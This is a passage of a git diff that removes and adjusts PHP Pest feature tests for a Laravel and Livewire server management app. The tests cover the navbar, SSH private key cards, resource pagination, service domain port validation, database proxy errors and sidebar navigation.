str($navbar)- ->after('data-testid="server-subtitle"')- ->before('id="server-mobile-actions"')- ->toString();-- $navbar = file_get_contents(resource_path('views/livewire/server/navbar.blade.php'));-- expect($navbar)- ->toContain('mb-3 w-full lg:hidden')- ->toContain('data-testid="server-subtitle"')- ->toContain('flex min-w-0 flex-col gap-2');-- $titleBlock = str($navbar)- ->after('mb-3 w-full lg:hidden')- ->before('Phone-only actions')- ->toString();-- $titlePos = strpos($titleBlock, 'data-testid="server-subtitle"');- $badgesRowPos = strpos($titleBlock, 'flex w-full min-w-0 items-center gap-2');-- expect($titlePos)->not->toBeFalse()- ->and($badgesRowPos)->not->toBeFalse()- ->and($titlePos)->toBeLessThan($badgesRowPos);-});-it('listens for sentinel status broadcasts', function () {[$server, , $team] = makeNavbarServer(isFunctional: true);@@ -108,12 +80,6 @@ it('listens for sentinel status broadcasts', function () {->toHaveKey("echo-private:team.{$team->id},SentinelSynchronized", 'refreshSentinelStatus');});-it('polls heartbeat state so the sidebar deadline stays current', function () {- $navbar = file_get_contents(resource_path('views/livewire/server/navbar.blade.php'));-- expect($navbar)->toContain('wire:poll.30s="refreshAgentStatus"');-});-it('refreshes sentinel status when sentinel restarts for the server', function () {[$server] = makeNavbarServer(isFunctional: true);$server->forceFill(['sentinel_updated_at' => now()->subDay()])->save();diff --git a/tests/Feature/ServerPrivateKeyDropdownTest.php b/tests/Feature/ServerPrivateKeyDropdownTest.phpindex a0ebcd044c..d42e554137 100644--- a/tests/Feature/ServerPrivateKeyDropdownTest.php+++ b/tests/Feature/ServerPrivateKeyDropdownTest.php@@ -9,6 +9,7 @@ use App\Models\User;use Illuminate\Foundation\Testing\RefreshDatabase;use Illuminate\Support\Facades\Config;use Illuminate\Support\Facades\Storage;+use Illuminate\Support\Js;use Illuminate\Support\Once;use Livewire\Livewire;@@ -45,7 +46,7 @@ beforeEach(function () {test('server private key page shows highlighted add dropdown actions', function () {Livewire::test(Show::class, ['server_uuid' => $this->server->uuid])- ->assertSee('+ Add')+ ->assertSee('Add')->assertSee('Generate ED25519')->assertSee('Generate RSA')->assertSee('Add manually')@@ -70,18 +71,10 @@ test('generating a server private key stores it and refreshes the current view',->assertSee($privateKey->name);});-test('server private key page copies generated public keys and shows a copied hint', function () {- $view = file_get_contents(resource_path('views/livewire/server/private-key/show.blade.php'));-- expect($view)->toContain('copyPublicKeyToClipboard')- ->and($view)->toContain('navigator.clipboard.writeText')- ->and($view)->toContain('Public key copied to clipboard.');-});-test('server private key cards include a copy public key button', function () {$keyData = PrivateKey::generateNewKeyPair('rsa');- PrivateKey::createAndStore([+ $alternativeKey = PrivateKey::createAndStore(['team_id' => $this->team->id,'name' => 'Alternative SSH Key','description' => 'Created by test',@@ -90,11 +83,6 @@ test('server private key cards include a copy public key button', function () {Livewire::test(Show::class, ['server_uuid' => $this->server->uuid])->assertSee('Copy public key')- ->assertSee('Alternative SSH Key');-- $view = file_get_contents(resource_path('views/livewire/server/private-key/show.blade.php'));-- expect($view)->toContain('Copy public key')- ->and($view)->toContain('$private_key->public_key')- ->and($view)->toContain('Public key copied to clipboard.');+ ->assertSee('Alternative SSH Key')+ ->assertSeeHtml('copyPublicKeyToClipboard('.Js::from($alternativeKey->public_key)->toHtml().')');});diff --git a/tests/Feature/ServerResourcesPaginationTest.php b/tests/Feature/ServerResourcesPaginationTest.phpindex 0f9efaae40..92227ff2f3 100644--- a/tests/Feature/ServerResourcesPaginationTest.php+++ b/tests/Feature/ServerResourcesPaginationTest.php@@ -76,15 +76,11 @@ it('clamps stale pages after resources disappear including an empty list', funct->and($page->total())->toBe($count);})->with([[12, 2], [0, 1]]);-it('renders shared pagination for both resource tabs with stable row identities', function () {+it('keys resource rows on both tabs by stable row identities', function () {$view = file_get_contents(resource_path('views/livewire/server/resources.blade.php'));- expect($view)->toContain('<x-table-pagination')- ->toContain('<x-page-size-select')- ->toContain('previous-action="previousPage"')- ->toContain('next-action="nextPage"')+ expect($view)->toContain('wire:key="managed-')- ->toContain('wire:key="unmanaged-')- ->not->toContain('$server->definedResources()');+ ->toContain('wire:key="unmanaged-');});it('searches names across all pages before pagination on both tabs', function (string $tab, string $nameKey) {@@ -119,23 +115,3 @@ it('searches names across all pages before pagination on both tabs', function (s$this->component->search = ' ';expect($this->component->render()->getData()['resources']->total())->toBe(25);})->with([['managed', 'name'], ['unmanaged', 'Names']]);--it('provides accessible live search and a distinct no-results message', function () {- $view = file_get_contents(resource_path('views/livewire/server/resources.blade.php'));-- expect($view)->toContain('wire:model.live.debounce.300ms="search"')- ->toContain('aria-label="Search resources by name"')- ->toContain('aria-label="Clear search"')- ->toContain('No matching resources')- ->toContain('No matching containers');-});--it('shows search feedback and prevents interaction with stale results while searching', function () {- $view = file_get_contents(resource_path('views/livewire/server/resources.blade.php'));-- expect($view)- ->toContain('<x-table.loading target="search" text="Searching resources..." />')- ->not->toContain('wire:loading.inline-flex wire:target="search"')- ->toContain('wire:loading.class="pointer-events-none opacity-40 blur-[2px]"')- ->toContain('wire:loading.attr="inert" wire:target="search"');-});diff --git a/tests/Feature/Service/EditDomainPortValidationTest.php b/tests/Feature/Service/EditDomainPortValidationTest.phpindex 29e1f0b339..bf1a12378a 100644--- a/tests/Feature/Service/EditDomainPortValidationTest.php+++ b/tests/Feature/Service/EditDomainPortValidationTest.php@@ -1,7 +1,6 @@<?phpuse App\Livewire\Project\Service\Domains;-use App\Livewire\Project\Service\EditDomain;use App\Livewire\Project\Service\Index;use App\Models\Environment;use App\Models\InstanceSettings;@@ -121,17 +120,6 @@ it('preserves a legacy embedded port when only the description changes', functio->domain_port_overrides->toBe(['http://example.com' => 8080]);});-it('loads a legacy embedded port in the domain editor', function () {- ServiceApplication::query()->whereKey($this->serviceApplication->id)->update([- 'fqdn' => 'http://example.com:8080',- 'domain_port_overrides' => null,- ]);-- Livewire::test(EditDomain::class, ['applicationId' => $this->serviceApplication->id])- ->assertSet('fqdn', 'http://example.com:8080')- ->assertOk();-});-it('prefers a persisted override over a legacy embedded port', function () {ServiceApplication::query()->whereKey($this->serviceApplication->id)->update(['fqdn' => 'http://example.com:8080',@@ -141,26 +129,6 @@ it('prefers a persisted override over a legacy embedded port', function () {expect($this->serviceApplication->fresh()->url)->toBe('http://example.com:3000');});-it('allows explicit removal of a legacy embedded port', function () {- ServiceApplication::query()->whereKey($this->serviceApplication->id)->update([- 'fqdn' => 'http://example.com:8080',- 'domain_port_overrides' => null,- ]);-- Livewire::test(EditDomain::class, ['applicationId' => $this->serviceApplication->id])- ->set('fqdn', 'http://example.com')- ->call('submit')- ->assertSet('showPortWarningModal', true)- ->call('confirmRemovePort')- ->assertHasNoErrors()- ->assertSet('showPortWarningModal', false);-- expect($this->serviceApplication->fresh())- ->fqdn->toBe('http://example.com')- ->url->toBe('http://example.com')- ->domain_port_overrides->toBeNull();-});-it('initializes route state when mounting a service application directly', function () {Livewire::test(Index::class, ['serviceApplication' => $this->serviceApplication,@@ -175,35 +143,6 @@ it('initializes route state when mounting a service application directly', funct->assertOk();});-it('loads the EditDomain component with required port', function () {- Livewire::test(EditDomain::class, ['applicationId' => $this->serviceApplication->id])- ->assertSet('requiredPort', 8000)- ->assertSet('fqdn', 'http://example.com:8000')- ->assertOk();-});--it('loads a persisted port override and moves it when the hostname changes', function () {- $this->serviceApplication->update([- 'fqdn' => 'https://old.example.com',- 'domain_port_overrides' => [- 'https://old.example.com' => 8080,- ],- ]);-- Livewire::test(EditDomain::class, ['applicationId' => $this->serviceApplication->id])- ->assertSet('fqdn', 'https://old.example.com:8080')- ->set('fqdn', 'https://new.example.com:8080')- ->call('submit')- ->assertSet('showPortWarningModal', false)- ->assertSet('fqdn', 'https://new.example.com:8080');-- expect($this->serviceApplication->fresh())- ->fqdn->toBe('https://new.example.com')- ->domain_port_overrides->toBe([- 'https://new.example.com' => 8080,- ]);-});-it('marks noindex changes as pending configuration', function () {$this->service->isConfigurationChanged(save: true);@@ -213,87 +152,3 @@ it('marks noindex changes as pending configuration', function () {expect($this->service->refresh()->isConfigurationChanged())->toBeTrue();});--it('shows warning modal when trying to remove required port', function () {- Livewire::test(EditDomain::class, ['applicationId' => $this->serviceApplication->id])- ->set('fqdn', 'http://example.com') // Remove port- ->call('submit')- ->assertSet('showPortWarningModal', true)- ->assertSet('requiredPort', 8000);-});--it('allows port removal when user confirms', function () {- Livewire::test(EditDomain::class, ['applicationId' => $this->serviceApplication->id])- ->set('fqdn', 'http://example.com') // Remove port- ->call('submit')- ->assertSet('showPortWarningModal', true)- ->call('confirmRemovePort')- ->assertSet('showPortWarningModal', false);-- // Verify the FQDN was updated in database- $this->serviceApplication->refresh();- expect($this->serviceApplication->fqdn)->toBe('http://example.com');-});--it('cancels port removal when user cancels', function () {- $originalFqdn = $this->serviceApplication->url;-- Livewire::test(EditDomain::class, ['applicationId' => $this->serviceApplication->id])- ->set('fqdn', 'http://example.com') // Remove port- ->call('submit')- ->assertSet('showPortWarningModal', true)- ->call('cancelRemovePort')- ->assertSet('showPortWarningModal', false)- ->assertSet('fqdn', $originalFqdn); // Should revert to original-});--it('allows saving when port is changed to different port', function () {- Livewire::test(EditDomain::class, ['applicationId' => $this->serviceApplication->id])- ->set('fqdn', 'http://example.com:3000') // Change to different port- ->call('submit')- ->assertSet('showPortWarningModal', false); // Should not show warning-- // Verify the FQDN was updated- $this->serviceApplication->refresh();- expect($this->serviceApplication->fqdn)->toBe('http://example.com')- ->and($this->serviceApplication->domain_port_overrides)->toBe([- 'http://example.com' => 3000,- ]);-});--it('allows saving when all domains have ports (multiple domains)', function () {- Livewire::test(EditDomain::class, ['applicationId' => $this->serviceApplication->id])- ->set('fqdn', 'http://example.com:8000,https://app.example.com:8080')- ->call('submit')- ->assertSet('showPortWarningModal', false); // Should not show warning-});--it('shows warning when at least one domain is missing port (multiple domains)', function () {- Livewire::test(EditDomain::class, ['applicationId' => $this->serviceApplication->id])- ->set('fqdn', 'http://example.com:8000,https://app.example.com') // Second domain missing port- ->call('submit')- ->assertSet('showPortWarningModal', true);-});--it('does not show warning for services without required port', function () {- // Create a service without required port (e.g., cloudflared)- $serviceWithoutPort = Service::factory()->create([- 'name' => 'cloudflared-test456',- 'server_id' => $this->server->id,- 'destination_id' => $this->destination->id,- 'destination_type' => $this->destination->getMorphClass(),- 'environment_id' => $this->environment->id,- ]);-- $appWithoutPort = ServiceApplication::create([- 'service_id' => $serviceWithoutPort->id,- 'name' => 'web',- 'image' => 'nginx:alpine',- 'fqdn' => 'http://example.com',- ]);-- Livewire::test(EditDomain::class, ['applicationId' => $appWithoutPort->id])- ->set('fqdn', 'http://example.com') // No port- ->call('submit')- ->assertSet('showPortWarningModal', false); // Should not show warning-});diff --git a/tests/Feature/Service/StartDatabaseProxyTest.php b/tests/Feature/Service/StartDatabaseProxyTest.phpindex b14cb414a9..b564040a2d 100644--- a/tests/Feature/Service/StartDatabaseProxyTest.php+++ b/tests/Feature/Service/StartDatabaseProxyTest.php@@ -1,6 +1,10 @@<?phpuse App\Actions\Database\StartDatabaseProxy;+use App\Models\Environment;+use App\Models\Project;+use App\Models\Server;+use App\Models\StandaloneDocker;use App\Models\StandalonePostgresql;use App\Models\Team;use Illuminate\Foundation\Testing\RefreshDatabase;@@ -14,9 +18,20 @@ beforeEach(function () {test('database proxy is disabled on port already allocated error', function () {$team = Team::factory()->create();+ $server = Server::factory()->create(['team_id' => $team->id]);+ $destination = StandaloneDocker::query()->where('server_id', $server->id)->firstOrFail();+ $project = Project::factory()->create(['team_id' => $team->id]);+ $environment = Environment::factory()->create(['project_id' => $project->id]);- $database = StandalonePostgresql::factory()->create([- 'team_id' => $team->id,+ $database = StandalonePostgresql::create([+ 'name' => 'postgres',+ 'image' => 'postgres:16-alpine',+ 'postgres_user' => 'postgres',+ 'postgres_password' => 'password',+ 'postgres_db' => 'postgres',+ 'environment_id' => $environment->id,+ 'destination_id' => $destination->id,+ 'destination_type' => $destination->getMorphClass(),'is_public' => true,'public_port' => 5432,]);diff --git a/tests/Feature/ServiceDatabaseVerticalNavigationTest.php b/tests/Feature/ServiceDatabaseVerticalNavigationTest.phpindex 21c0801e56..17c1edd375 100644--- a/tests/Feature/ServiceDatabaseVerticalNavigationTest.php+++ b/tests/Feature/ServiceDatabaseVerticalNavigationTest.php@@ -2,158 +2,6 @@use App\Livewire\Project\Service\DatabaseBackups;-it('moves service and database page navigation into their sidebars', function () {- $serviceHeading = file_get_contents(resource_path('views/livewire/project/service/heading.blade.php'));- $databaseHeading = file_get_contents(resource_path('views/livewire/project/database/heading.blade.php'));- $serviceConfiguration = file_get_contents(resource_path('views/livewire/project/service/configuration.blade.php'));- $databaseSidebar = file_get_contents(resource_path('views/components/database/configuration-sidebar.blade.php'));-- expect($serviceHeading)->not->toContain('<x-resource-heading-tabs')- ->and($databaseHeading)->not->toContain('<x-resource-heading-tabs')- ->and($serviceConfiguration)- ->toContain("['label' => 'Backups'")- ->toContain("['label' => 'Runtime Logs'")- ->toContain("['label' => 'Terminal'")- ->and($databaseSidebar)- ->toContain("['label' => 'Backups'")- ->toContain("['label' => 'Runtime Logs'")- ->toContain("['label' => 'Terminal'");-});--it('uses a full page load for database backup imports', function () {- $sidebar = file_get_contents(resource_path('views/components/database/configuration-sidebar.blade.php'));-- expect($sidebar)->toContain("['label' => 'Import Backup', 'route' => 'project.database.import-backup', 'icon' => 'upload', 'navigate' => false");-});--it('matches application action bar behavior for services and databases', function () {- $service = file_get_contents(resource_path('views/livewire/project/service/heading.blade.php'));- $database = file_get_contents(resource_path('views/livewire/project/database/heading.blade.php'));-- foreach ([$service, $database] as $heading) {- expect($heading)- ->toContain('@teleport(\'#resource-action-hud-slot\')')- ->toContain('xl:w-auto')- ->toContain('<x-resource-heading-overflow')- ->not->toContain('hidden lg:block lg:h-12');- }-- expect($service)->toContain('id="service-desktop-actions"')- ->and($database)->toContain('id="database-desktop-actions"');-});--it('groups database and service navigation by user workflow', function () {- $database = file_get_contents(resource_path('views/components/database/configuration-sidebar.blade.php'));- $serviceSidebars = [- file_get_contents(resource_path('views/components/service/configuration-sidebar.blade.php')),- file_get_contents(resource_path('views/livewire/project/service/configuration.blade.php')),- ];-- expect($database)- ->toContain("'Settings' => ['General', 'Environment Variables', 'Persistent Storage', 'Healthcheck']")- ->toContain("'Observe & troubleshoot' => ['Runtime Logs', 'Terminal', 'Metrics']")- ->toContain("'Deploy' => ['Servers']")- ->toContain("'Automation' => ['Webhooks', 'Backups', 'Import Backup']")- ->toContain("'Operations' => ['Resource Operations', 'Resource Limits', 'Tags', 'Danger Zone']");-- foreach ($serviceSidebars as $serviceSidebar) {- expect($serviceSidebar)- ->toContain("'Settings' => ['General', 'Domains', 'Environment Variables', 'Persistent Storage']")- ->toContain("'Observe & troubleshoot' => ['Runtime Logs', 'Terminal', 'Analytics']")- ->toContain("'Automation' => ['Scheduled Tasks', 'Webhooks', 'Backups', 'Import Backup']")- ->toContain("'Operations' => ['Resource Operations', 'Tags', 'Danger Zone']");- }-});--it('groups application navigation by user workflow', function () {- $application = file_get_contents(resource_path('views/components/application/configuration-sidebar.blade.php'));-- expect($application)- ->toContain("'Settings' => ['General', 'Domains', 'Environment Variables', 'Persistent Storage', 'Advanced', 'Swarm', 'Healthcheck']")- ->toContain("'Observe & troubleshoot' => ['Runtime Logs', 'Deployment Logs', 'Terminal', 'Metrics', 'Analytics']")- ->toContain("'Deploy' => ['Git Source', 'Servers', 'Preview Deployments']")- ->toContain("'Automation' => ['Scheduled Tasks', 'Webhooks', 'Backups']")- ->toContain("'Operations' => ['Resource Operations', 'Resource Limits', 'Rollback', 'Tags', 'Danger Zone']");-});--it('uses the same responsive settings grid for applications services and databases', function () {- $sidebars = [- resource_path('views/components/application/configuration-sidebar.blade.php'),- resource_path('views/components/service/configuration-sidebar.blade.php'),- resource_path('views/components/database/configuration-sidebar.blade.php'),- ];-- foreach ($sidebars as $sidebar) {- expect(file_get_contents($sidebar))- ->toContain('grid grid-cols-2 gap-0.5')- ->toContain('sm:grid-cols-3 lg:grid-cols-4 xl:grid-cols-1');- }-- expect(file_get_contents($sidebars[0]))- ->not->toContain('aria-label="Configuration menu"')- ->not->toContain('menuOpen');-});--it('shows the database sidebar on backup pages', function () {- $configuration = file_get_contents(resource_path('views/livewire/project/database/configuration.blade.php'));- $backups = file_get_contents(resource_path('views/livewire/project/database/backup/index.blade.php'));- $sidebar = file_get_contents(resource_path('views/components/database/configuration-sidebar.blade.php'));-- expect($configuration)->toContain('<x-database.configuration-sidebar')- ->and($backups)- ->toContain('<x-database.configuration-sidebar')- ->toContain('current-route="project.database.backup.index"')- ->and($sidebar)- ->toContain("str(\$currentRoute)->startsWith('project.database.backup')");-});--it('shows the service sidebar on the storage backups page', function () {- $backups = file_get_contents(resource_path('views/livewire/project/service/volume-backup/index.blade.php'));-- expect($backups)- ->toContain('<x-service.configuration-sidebar :service="$service"')- ->toContain('current-route="project.service.volume-backups.index"')- ->toContain('xl:grid-cols-[210px_minmax(0,1fr)]');-});--it('combines service database and storage backups in one section', function () {- $backups = file_get_contents(resource_path('views/livewire/project/service/volume-backup/index.blade.php'));- $styles = file_get_contents(resource_path('css/app.css'));-- expect(substr_count($backups, '<x-application.settings-section '))->toBe(1)- ->and(substr_count($backups, 'data-table-header backup-table-grid'))->toBe(1)- ->and($backups)->toContain('Storage backup')->toContain('Database backup')- ->not->toContain('data-table-header scheduled-backups-table-grid')- ->not->toContain('>Database backups</h3>')- ->not->toContain('>Storage backups</h3>')- ->toContain("'application-settings-section-body w-full'")- ->toContain('class="data-table w-full overflow-x-auto"')- ->toContain('backup-table-grid service-backup-table-grid')- ->not->toContain('<span class="text-right">Executions</span>')- ->toMatch('/class="(?=[^"]*\\bdata-table-row\\b)(?=[^"]*\\bbackup-table-grid\\b)(?=[^"]*text-\\[13px\\])[^\"]*"/')- ->toContain('class="listbox-option justify-start! gap-2.5!"')- ->toContain('x-data="{ dropdownOpen: false }"')- ->toContain('class="listbox-panel left-0! right-auto! z-[90]! w-52! min-w-52! sm:left-auto! sm:right-0!"')- ->not->toContain('<x-dropdown');-- expect($styles)->toContain('.service-backup-table-grid');-});--it('keeps backup navigation out of compose database settings', function () {- $sidebar = file_get_contents(resource_path('views/components/service-database/sidebar.blade.php'));-- expect($sidebar)- ->not->toContain("'label' => 'Backups'")- ->not->toContain("'label' => 'Import Backup'")- ->not->toContain("'route' => 'project.service.database.backups'");-});--it('links service backup details back to the unified service backups page', function () {- $sidebar = file_get_contents(resource_path('views/components/backup-sidebar.blade.php'));-- expect($sidebar)->toContain("'back' => 'project.service.volume-backups.index'");-});-it('declares the database backup mount return type', function () {$returnType = (new ReflectionMethod(DatabaseBackups::class, 'mount'))->getReturnType();@@ -161,118 +9,6 @@ it('declares the database backup mount return type', function () {->and($returnType->getName())->toBe('mixed');});-it('keeps service navigation visible on backup detail pages and uses section tabs', function () {- $databaseBackup = file_get_contents(resource_path('views/livewire/project/service/database-backups.blade.php'));- $storageBackup = file_get_contents(resource_path('views/livewire/project/service/volume-backup/show.blade.php'));-- foreach ([$databaseBackup, $storageBackup] as $view) {- expect($view)- ->toContain('<x-service.configuration-sidebar :service="$service"')- ->toContain('<x-backup-tabs')- ->not->toContain('<x-backup-sidebar');- }-- expect($databaseBackup)->toContain('context="service"')- ->and($storageBackup)->toContain('context="service-volume"');-});--it('opens service backup schedules in place without navigating', function () {- $index = file_get_contents(resource_path('views/livewire/project/service/volume-backup/index.blade.php'));-- expect($index)- ->toContain('wire:click="openSchedule(')- ->toContain('wireOpen="scheduleModalOpen"')- ->toContain('<x-backup-tabs')- ->not->toContain("route('project.service.backups.schedule.show'");-});--it('shows service backup executions below schedules without a separate view tab', function () {- $index = file_get_contents(resource_path('views/livewire/project/service/volume-backup/index.blade.php'));- $executions = file_get_contents(resource_path('views/livewire/project/service/backup-executions.blade.php'));-- expect($index)- ->toContain('<livewire:project.service.backup-executions :service="$service"')- ->not->toContain('aria-label="Backup views"')- ->not->toContain("route('project.service.backups.executions'");-- expect($executions)- ->toContain('title="Executions"')- ->toContain('flush>');-});--it('wraps backup modal tabs and shows schedule loading feedback', function () {- $tabs = file_get_contents(resource_path('views/components/backup-tabs.blade.php'));- $index = file_get_contents(resource_path('views/livewire/project/service/volume-backup/index.blade.php'));-- expect($tabs)- ->toContain('flex-wrap')- ->not->toContain('overflow-x-auto');-- expect($index)- ->toContain('<x-table.loading target="openSchedule" text="Loading schedule..."')- ->not->toContain('Loading schedule\n');-});--it('loads every backup editor section when the modal opens and switches tabs locally', function () {- $tabs = file_get_contents(resource_path('views/components/backup-tabs.blade.php'));- $index = file_get_contents(resource_path('views/livewire/project/service/volume-backup/index.blade.php'));-- expect($index)- ->toContain("x-data=\"{ activeSection: 'general' }\"")- ->toContain("@foreach (['general', 's3', 'retention', 'danger'] as \$modalSection)")- ->toContain("x-show=\"activeSection === '{{ \$modalSection }}'\"");-- expect($tabs)- ->toContain("@click=\"activeSection = '{{ \$item['key'] }}'\"")- ->not->toContain('wire:click="selectScheduleSection');-});--it('keeps the backup schedule modal height stable while switching sections', function () {- $modal = file_get_contents(resource_path('views/components/modal-input.blade.php'));- $index = file_get_contents(resource_path('views/livewire/project/service/volume-backup/index.blade.php'));-- expect($index)->toContain('isLarge fixedHeight')- ->and($modal)- ->toContain("'sm:h-[40rem]' => \$fixedHeight");-});--it('shows S3 section descriptions from the title helper', function () {- $volumeS3 = file_get_contents(resource_path('views/livewire/project/shared/storages/volume-backups/s3.blade.php'));- $databaseS3 = file_get_contents(resource_path('views/livewire/project/database/backup-edit/s3.blade.php'));-- foreach ([$volumeS3, $databaseS3] as $view) {- expect($view)- ->toContain('<x-application.settings-section title="S3 storage"')- ->not->toContain('<div class="application-settings-section-header">')- ->not->toContain('<h2>S3 storage</h2>');- }-});--it('adds a back up now action to every service backup schedule row', function () {- $index = file_get_contents(resource_path('views/livewire/project/service/volume-backup/index.blade.php'));- $styles = file_get_contents(resource_path('css/app.css'));-- expect($index)- ->toContain('<span class="text-right">Actions</span>')- ->toContain('<div class="min-w-[64rem]">')- ->toContain("wire:click.stop=\"backupNow('database',")- ->toContain("wire:click.stop=\"backupNow('storage',")- ->toContain('<x-forms.button')- ->toContain('Back up now</x-forms.button>')- ->toContain('defaultClass="icon-button shrink-0"')- ->toContain('aria-label="Edit backup schedule"')- ->toContain('<x-reicon name="settings" class="size-4" />')- ->not->toContain('>Settings</x-forms.button>')- ->not->toContain('class="contents cursor-pointer"');-- expect($styles)- ->toContain('.service-backup-table-grid')- ->toContain('width: 100%;')- ->toContain('.data-table-row.service-backup-table-grid {')- ->not->toContain('.data-table-header.service-backup-table-grid > :last-child')- ->not->toContain('.data-table-row.service-backup-table-grid > :last-child');-});-it('refreshes backup executions from backup broadcasts on the current team channel', function () {$serviceExecutions = file_get_contents(app_path('Livewire/Project/Service/BackupExecutions.php'));$serviceBackups = file_get_contents(app_path('Livewire/Project/Service/VolumeBackup/Index.php'));@@ -290,63 +26,3 @@ it('refreshes backup executions from backup broadcasts on the current team chann->and(strpos($databaseBackupJob, "'finished_at' => Carbon::now()->toImmutable()"))->toBeLessThan(strrpos($databaseBackupJob, 'BackupCreated::dispatch($this->team->id)'));});--it('offers downloads from the service backup executions list', function () {- $component = file_get_contents(app_path('Livewire/Project/Service/BackupExecutions.php'));- $view = file_get_contents(resource_path('views/livewire/project/service/backup-executions.blade.php'));-- expect($component)- ->toContain("route('download.backup'")- ->toContain("route('download.volume-backup'")- ->and($view)- ->toContain('<span class="text-right">Actions</span>')- ->toContain('aria-label="Download backup"')- ->toContain('@click.stop');-});--it('uses a distinct backup icon across resource sidebars', function () {- $sidebars = [- resource_path('views/components/application/configuration-sidebar.blade.php'),- resource_path('views/components/database/configuration-sidebar.blade.php'),- resource_path('views/livewire/project/service/configuration.blade.php'),- ];-- foreach ($sidebars as $sidebar) {- $contents = file_get_contents($sidebar);-- expect($contents)->toMatch("/['\"]Backups['\"].*['\"]database['\"]/s");- }-});--it('shows the database sidebar on runtime logs', function () {- $logs = file_get_contents(resource_path('views/livewire/project/shared/logs.blade.php'));-- expect($logs)- ->toContain("in_array(\$type, ['application', 'database', 'service'], true)")- ->toContain('<x-database.configuration-sidebar :database="$resource" current-route="project.database.logs"')- ->toContain('loading-state-card');-});--it('shows the database sidebar in the terminal', function () {- $terminal = file_get_contents(resource_path('views/livewire/project/shared/execute-container-command.blade.php'));-- expect($terminal)- ->toContain("in_array(\$type, ['application', 'database', 'service', 'server'], true)")- ->toContain('<x-database.configuration-sidebar :database="$resource" current-route="project.database.command"');-});--it('shows the service sidebar on runtime logs and terminal pages', function () {- $logs = file_get_contents(resource_path('views/livewire/project/shared/logs.blade.php'));- $terminal = file_get_contents(resource_path('views/livewire/project/shared/execute-container-command.blade.php'));- $sidebar = file_get_contents(resource_path('views/components/service/configuration-sidebar.blade.php'));-- expect($logs)- ->toContain("in_array(\$type, ['application', 'database', 'service'], true)")- ->toContain('<x-service.configuration-sidebar :service="$resource" current-route="project.service.logs"')- ->and($terminal)- ->toContain("in_array(\$type, ['application', 'database', 'service', 'server'], true)")- ->toContain('<x-service.configuration-sidebar :service="$resource" current-route="project.service.command"')- ->and($sidebar)- ->toContain("'Observe & troubleshoot' => ['Runtime Logs', 'Terminal', 'Analytics']")- ->toContain("'Operations' => ['Resource Operations', 'Tags', 'Danger Zone']");-});diff --git a/tests/Feature/ServiceDomainsTest.php b/tests/Feature/ServiceDomainsTest.phpindex 2e8c602f7a..d4fc15041c 100644--- a/tests/Feature/ServiceDomainsTest.php+++ b/tests/Feature/ServiceDomainsTest.php@@ -289,25 +289,6 @@ it('opens address fields and service-wide redirects in the same settings dialog}});-it('uses segmented fields when adding and editing service domains', function () {- $view = file_get_contents(resource_path('views/livewire/project/service/domains.blade.php'));-- expect($view)- ->toContain('<x-forms.domain-input id="newDomainParts"')- ->toContain('<x-forms.domain-input id="editingDomainParts"')- ->not->toContain('placeholder="https://app.example.com"');-});--it('matches the application domains toolbar heading and top spacing', function () {- $view = file_get_contents(resource_path('views/livewire/project/service/domains.blade.php'));-- expect($view)- ->toContain('<div class="flex flex-wrap items-center gap-2">')- ->toContain('<h2 id="domains-section">Domains</h2>')- ->not->toContain('<div class="mt-2 flex flex-wrap items-center gap-2">')- ->not->toContain('<h3>Domains</h3>');-});-it('resets the add domain dns gate when segmented domain fields change', function () {Livewire::test(Domains::class, ['service' => $this->service->fresh(['applications', 'server'])])->set('addDomainDnsFailed', true)@@ -339,14 +320,6 @@ it('shows dns entries control next to Add', function () {->assertSee('Manual records');});-it('exposes the dns entries dropdown expanded state', function () {- $view = file_get_contents(resource_path('views/livewire/project/shared/cloudflare-autoconfigure.blade.php'));-- expect($view)- ->toContain('x-bind:aria-expanded="dnsEntriesOpen"')- ->toContain('x-show="dnsEntriesOpen"');-});-it('lists dns entries for service hosts that still need dns', function () {$this->webApp->update(['fqdn' => 'https://web.example.com',@@ -515,25 +488,6 @@ it('keeps a stable key for the rendered domain list', function () {->not->toContain('md5(serialize($domainRows))');});-it('provides client-side search for service domains', function () {- $view = file_get_contents(resource_path('views/livewire/project/service/domains.blade.php'));-- expect($view)- ->toContain('x-model="domainSearch"')- ->toContain('class="ml-auto flex flex-wrap items-center gap-2"')- ->toContain('<div class="relative shrink-0">')- ->toContain('placeholder="Search services or domains"')- ->toContain('x-show="matchesDomainSearch(')- ->toContain('title="No domains found"')- ->toContain('hasDomainSearchResults(');-});--it('does not duplicate the service name as a badge in the domain cell', function () {- $view = file_get_contents(resource_path('views/livewire/project/service/partials/domain-table.blade.php'));-- expect($view)->not->toContain('domains-service-mobile table-badge');-});-it('rolls back a domain change when compose regeneration fails', function () {$this->service->update(['docker_compose_raw' => '']);@@ -958,9 +912,6 @@ it('updates search engine indexing from the service domains view', function () {expect($this->apiApp->refresh()->noindexDomains()->all())->toBe(['https://api.example.com']);-- expect(file_get_contents(resource_path('views/livewire/project/service/partials/domain-table.blade.php')))- ->not->toContain('<select');});it('regenerates a service application domain only when the modal is saved', function () {@@ -1147,53 +1098,6 @@ it('keeps the edited domain selected when settings refresh and reorder rows', fu->and($this->webApp->fresh()->fqdn)->toBe('https://broken.example.com');});-it('renders compact icon-only domain actions with accessible labels', function () {- $html = Livewire::test(Domains::class, ['service' => $this->service->fresh(['applications', 'server'])])->html();- $document = new DOMDocument;- @$document->loadHTML($html);- $xpath = new DOMXPath($document);-- foreach (['Check DNS', 'Settings for https://api.example.com', 'Remove domain'] as $label) {- $buttons = $xpath->query('//button[@aria-label="'.$label.'"]');- expect($buttons->length)->toBe(1);- $button = $buttons->item(0);- expect(trim($button->textContent))->toBe('')- ->and($button->getAttribute('class'))->toContain('icon-button')- ->and($button->getAttribute('title'))->not->toBe('');- }-- expect($html)->not->toContain('aria-label="More actions for');-});--it('uses the shared mobile domain summary layout', function () {- $view = file_get_contents(resource_path('views/livewire/project/service/partials/domain-table.blade.php'));-- expect($view)- ->toContain('service-domain-mobile-summary')- ->toContain('Domain routing summary')- ->toContain('No redirects')- ->toContain('Noindex');-});--it('uses explicit modal actions for pending domain edits', function () {- $view = file_get_contents(resource_path('views/livewire/project/service/domains.blade.php'));-- expect($view)->not->toContain('<x-unsaved-bar action="updateDomain"')- ->toContain('wire:click="regenerateEditingDomain"')- ->toContain('wire:click="updateDomain"')- ->toContain('Save');-});--it('opens service domain settings from browser data and shows a dns spinner', function () {- $view = file_get_contents(resource_path('views/livewire/project/service/partials/domain-table.blade.php'));-- expect($view)- ->not->toContain('wire:click="startEdit(')- ->toContain('@click="openEditDomain(')- ->toContain('<x-loading compact aria-label="Checking DNS"')- ->not->toContain('<x-loading-on-button wire:loading.delay');-});-it('uses the dns badge as progress for single and all service checks', function 